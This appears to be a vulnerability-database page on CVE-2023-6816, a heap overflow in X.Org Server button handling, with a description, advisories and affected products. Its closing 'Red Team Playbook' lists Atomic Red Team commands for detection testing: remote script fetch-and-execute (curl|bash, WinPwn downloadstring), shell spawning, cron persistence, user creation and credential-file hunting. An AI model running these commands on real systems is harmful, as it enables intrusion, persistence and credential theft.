CVE-2023-6816
Overview
This vulnerability is a heap overflow caused by improper memory allocation in the X.Org Server's input handling components. Specifically, the server allocates buffer space based on the device's reported number of buttons, but fails to accommodate arbitrary button mappings up to 255. This discrepancy in buffer sizing occurs in the handling of DeviceFocusEvent and XIQueryPointer reply data structures, leading to out-of-bounds writes in the heap memory of the X.Org Server.
Vulnerability Description
A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used.
Impact
An unauthenticated attacker with network access to the X.Org Server input event interface can trigger a heap overflow by sending crafted input events with button indices beyond the allocated range. This can lead to arbitrary code execution with the privileges of the X.Org Server process, potentially resulting in full system compromise or denial of service. The vulnerability requires no user interaction and has a CVSS vector indicating network attack vector, low complexity, no privileges or user interaction required, and high impact on confidentiality, integrity, and availability.
Solution
Red Hat has issued multiple security advisories addressing this vulnerability, including RHSA-2024:0320, RHSA-2024:0557, RHSA-2024:0558, RHSA-2024:0597, and RHSA-2024:0607. Users of Red Hat Enterprise Linux 6 Extended Lifecycle Support and related products should apply these updates promptly. Detailed patch instructions and updated package versions are available at the Red Hat Customer Portal advisories. No workarounds are documented; applying the vendor patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified within the X.Org server, specifically related to the handling of input events. The flaw arises from improper memory allocation when processing DeviceFocusEvent and XIQueryPointer replies. These components are designed to manage input from various devices, including mice and keyboards, where buttons can be mapped to values ranging from 0 to 255. However, the X.Org server only allocates memory based on the actual number of buttons present on the device. This discrepancy creates a condition where a heap overflow can occur if a larger button value is used, leading to potential exploitation by malicious actors.
The primary attack vector for this vulnerability involves sending specially crafted input events that exceed the expected button count. An attacker could exploit this flaw by manipulating input devices or through remote access to systems running vulnerable versions of the X.Org server. By sending a payload that triggers the heap overflow, an attacker could overwrite adjacent memory, potentially allowing them to execute arbitrary code or crash the server. This exploitation could be achieved through various means, including local access to the device or via network-based attacks if the server is improperly secured.
The real-world impact of this vulnerability is significant, particularly for organizations relying on systems that utilize the X.Org server for graphical interfaces. Given the high CVSS score of 9.8, the risk associated with this flaw is substantial. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. For businesses, this translates to potential financial losses, reputational damage, and legal ramifications, especially if customer data is exposed or if critical services are interrupted. The vulnerability affects a range of products, including various distributions of Linux, which are widely used in enterprise environments, thus amplifying the risk.
To detect and mitigate this vulnerability, organizations should prioritize updating their systems to the latest versions of the X.Org server and related components. Regular patch management practices are essential to ensure that all software is up to date and that known vulnerabilities are addressed promptly. Additionally, implementing robust security measures such as intrusion detection systems (IDS) can help identify and alert on suspicious activity related to input events. Network segmentation and strict access controls can further reduce the risk of exploitation by limiting the attack surface and preventing unauthorized access to critical systems.
In conclusion, the vulnerability within the X.Org server presents a serious threat to the security and stability of systems that rely on it. The potential for heap overflow exploitation underscores the importance of proactive security measures and timely software updates. Organizations must remain vigilant in their cybersecurity practices to safeguard against such vulnerabilities, ensuring that they are prepared to respond effectively to emerging threats in an increasingly complex digital landscape.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
X.org | X Server | All |
cpe:2.3:a:x.org:x_server:*:*:*:*:*:*:*:*
|
|
|
X.org | Xwayland | All |
cpe:2.3:a:x.org:xwayland:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 39 |
cpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Desktop | 7.0 |
cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server | 7.0 |
cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Workstation | 7.0 |
cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.